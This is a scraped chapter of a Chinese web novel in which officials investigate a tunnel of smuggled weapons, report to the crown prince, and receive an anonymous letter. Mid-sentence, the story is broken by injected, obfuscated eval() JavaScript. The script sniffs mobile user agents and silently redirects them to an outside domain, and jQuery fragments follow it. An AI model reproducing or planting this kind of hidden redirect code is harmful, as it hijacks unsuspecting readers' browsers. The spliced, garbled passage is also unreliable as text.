53. 幕后

作品:《原来宿敌是恋爱脑

    单凭任九亨一人之词,难以确认绑架案背后主使另有其人。


    送走任九亨,黎昭文一刻也不愿停歇,打算趁衙署未搜查前,再去地下室一探究竟。


    “姑娘你不困吗?”沁云打着哈欠,满脸疲惫。


    黎昭文道:“左右没什么要紧事,你回客店休息好了,不用与我同去。”


    “不行!我陪你一起去。”沁云偷瞄顾景渊一眼。她可不容许姑娘和顾景渊独处,毕竟他还是个危险人物。


    从他们回私宅与任九亨见面,到重返地下室所在的小院,约莫过了一个时辰。周围静悄悄的,显是官差尚未发现此处。


    黎昭文见相邻的两个小院都敞开着门,问:“旁边的宅子也是他们的么?”


    “对,两边一起通往密室。”顾景渊迈步进入第一间宅子。


    黎昭文四顾左右,道:“这是你发现的?”想到密室里通道多,一时不知顾景渊当时是从何处找到她所在的小院。


    “击晕你们后他们径直赶往这里,我紧跟其后,也便停留在此处。”顾景渊如实回答。


    “你之所以迟迟不能与我汇合,是因为在这耽搁了时间?”黎昭文当下已平复对他的怨气,询问的语气很平静。


    顾景渊不动声色摆弄桌上的棋子,轰隆声响,桌榻下陷,“我高估了自己的棋艺,以为能尽快破解这个机关,没想到还是将你置于险地……”


    黎昭文笑着打断他:“你有心救人便好,其他的我不是很在意。”说罢自行入地道。


    真的不在意么?顾景渊忍不住多想。他更愿意她责备自己,假使她今夜命丧于此,他也不会允许自己苟活于世,因为他们是同类人,他明白复仇于她而言意味着什么。


    虽然彼此复仇的对象不同,且自己亦是她痛恨的对手,但他依然自觉应当与她共进退,即使是以对手的身份。


    因而在破解棋局时,他握棋的手是颤抖的,他害怕她的希望落空,也害怕自己再次失信于人。


    黎昭文唤道:“在想什么?怎么还不下来。”


    顾景渊回过神来,依言下去。


    黎昭文摆弄起桌上的铁器,凑近看被切断的长枪,道:“这个可以复原吗?”


    顾景渊拿起一节断柄,道:“不能,只能重新打造。”


    “这些就是任九亨所说的走私军器吧,不过为了顺利交差,他应该不会自毁,想必是有人瞒着他偷偷把转移军器转移到这。”黎昭文扫视一遍桌面的铁器。


    顾景渊望向另一侧的月洞门,道:“那里通往何处?”


    黎昭文应道:“大抵是梁兴柘的住处,我们别去。”


    内室无甚有用线索,黎昭文决定到那条冗长地道的尽头看看,她一面走,一面说:“走这里要花费一段时间,这里也能通向外头,是他们逃走的必经之路。”


    反正在路上无事可做,她有了余暇细细思考任九亨的话,遂问顾景渊:“你觉得会是何人授意任九亨揭发李居铭?”


    顾景渊沉吟片刻,道:“你我的上级……这个说辞太含糊,我也猜不准。”


    确实,我的直属上级是詹事府詹事,他的直属上级是都指挥使,实在不能联系到一起。黎昭文一时也理不清头绪。


    她又道:“不论如何,我不想任九亨侥幸脱罪,他协同李居铭叛国,也应受到惩罚。”


    是非真伪难以测度,不好轻易下定论。顾景渊在朝多年,极为了解官员之间的明争暗斗,隐隐感知到此事不简单,“他说的上级既答应了与他做交易,我们恐怕不好插手。”


    “有什么不好插手?”黎昭文脱口而出。


    但转念一想,既是上级,那必然是个大人物,顾景渊以提督身份和那人周旋,尚且会吃力,她一个小小正七品,何来把握与高官对抗?


    她的身份不允许她为所欲为,于是她黯然道:“你说的不无道理。我有太多事情需要完成,不能再以下犯上招惹是非了,但若要我对此事视而不见,恐怕也很难。”


    顾景渊道:“清慎之道,相须而成,必不得已,慎乃为大。在朝堂之上,保全自身无可厚非。如遇不平之事,你可以插手,亦可以旁观,这取决于你的本心。”


    黎昭文沉默了良久,又道:“凡事你都先考虑自己的利益吗?”


    他的建议是为她考虑,避免她陷入进退两难的困境,她深以为然。不过这也使她忆起他前世的种种作为,当初他率军投降,便是为保全自身吗?她不禁往这方面追想。


    顾景渊毫无保留对她说:“诸多事情中,并非所有都涉及我的利益,因而我不会时刻趋利避害。不过我不是圣人,做不到无欲无求,在面临抉择的时候,我的确会考虑自身的利益。自私自利是战场上的大忌,我靡下将士众多,他们之中或为夫为父,或未及弱冠,倘若我的抉择与他们息息相关,我会以他们的利益为先。”


    黎昭文惊异地想:“他是在对我坦露心扉吗?依他之言,当年投降难道和城中将士有关?这其中另有隐情吗?”


    不知不觉间,他们来到了尽头。


    顾景渊上前,打开封闭的石制翻板,纵身跃上。但见远处天际清月移,破晓青光崭露头角,洒在万顷碧波上,周遭寂静无人,只闻众鸟皆嘤鸣。


    他对下面翘首以盼的黎昭文说:“要上来吗?这里没有危险。”


    黎昭文猛点头。


    他跳将下去,指了指自己的腰带,“拉着这里。”


    黎昭文依言伸手轻轻拉住。顾景渊轻笑道:“用力抓紧一点。”


    黎昭文“哦”了一声,手指加了几分力道,顾景渊握住她的手腕,轻轻一跃,离开深坑。


    “原来飞出去是这种感觉。”黎昭文露出颊上浅浅的梨涡,由衷赞叹。


    顾景渊正欲再将沁云带上来,她却推拒道:“你们两人上去就好啦,我在下面守着。”


    黎昭文游目四顾,终于知道为何地道潮湿了,原来旁边就是护城河。


    “他们想的倒挺周全,事先挖一条通往城外的地道,如此一来,一朝事发也能神不知鬼不觉的逃跑。”


    顾景渊问:“要不要我把这个洞口封住?”


    “不用,这些事交给衙署的人做就好。”黎昭文眸中闪过一丝狡黠,“你记不记得梁兴柘的长相?带他来见我。”


    三人回到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048507|170611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客店,正遇太子在与金吾卫用早膳。他见三人彻夜未归,又见黎昭文脖子上的伤痕,遂道:“出什么事了?”


    黎昭文将抓捕绑匪一事简略说了,正犹豫是否一并道出走私军器之事,忽闻太子道:“我接到了父皇的急信,他不准我前往荣岐赈灾,我们仍按原来的计划,前往宣州。”


    荣岐到处是病患,太子身为国储,贸然前去容易染疾,皇帝不准他前往,合乎情理。


    黎昭文道:“那陛下打算怎么处理荣岐的情况?”


    太子回答:“开仓赈灾,直到疫情结束。城内缺医师药材,这些也一并从邻近的州府调往荣岐。”


    黎昭文心下稍安,宽解因不能亲自赈灾而失落的太子,“皇上既安排妥当,荣岐百姓必然能度过此次难关。殿下要巡抚多地,不好随意改变路线,皇上不准殿下前去荣岐,是出于爱子之心,为殿下的身体着想,殿下就遵从皇上的旨意吧。”


    太子岂能不知其间道理,勉强笑着说:“还有一点你们都忘了,景渊与镇远侯多年未见,我去荣岐,反而耽搁他们父子相聚。父皇交代我替他探望镇远侯,这个旨意我可不敢违拗,咱们过几日可要抓紧脚程前往宣州。”


    提及父亲,顾景渊脸上略无表情,拱手道:“眼下有一件要事,还请殿下示下。”


    “何事?”


    “绑架案的要犯外出未归,臣想调派几名金吾卫一同出城捉拿,”顾景渊顿了顿,又道:“一日内必归。”


    太子莞尔一笑:“我当是什么大事,你放心去就好。”随即蹙眉道:“这青阳的知府像个摆设,这么大的案子迟迟不破也罢,抓捕罪犯这种事居然也不上心。”


    黎昭文也反感知府失职,补充道:“这个案子非同小可,还关系到荣岐。失踪的妇女孩童,都做成肉食送给荣岐百姓吃了。”


    太子忽觉胸膛间一阵恶心上涌,“这群人这般残忍,实属死罪。务必要好好惩治他们。”


    顾景渊当即便要动身离开青阳,黎昭文跟在他身边,多嘱咐了几句话,而后在门口目送他们离开。


    方一回身,便听到明怀的声音:“黎侍读!”


    为验证任九亨能否从衙署安然无恙出来,黎昭文特意嘱咐待在任九亨身边,监视他的一言一行。


    见明怀一脸懊丧神态,黎昭文猜出了几分结果,“他回自己府邸了?”


    明怀颔首道:“他在衙署单纯和赵大人说闲话,只初入衙署时提了几次梁兴柘的事,我瞧他根本没有主动承认自己罪行的意思。”


    言罢,他又匆匆与黎昭文道别,说是要与顾景渊一同出城。


    黎昭文自回房间,准备入塌休息。


    此时她已然十分困倦,一进门便走向床榻,然而她无意间往书案上一瞥,混沌神志登时清明了不少。


    上面怎么会有封信?


    她和父母来往的信笺,一般都是沁云从民信局取回来的。今日沁云不曾外出取信,所以这封信是谁送来的?


    她拆开一看,只见信上写道:“青阳城内命案另有隐情,牵涉李居铭,汝或已知晓,今可说服太子入泽州矣。”


    落款为杨宗道。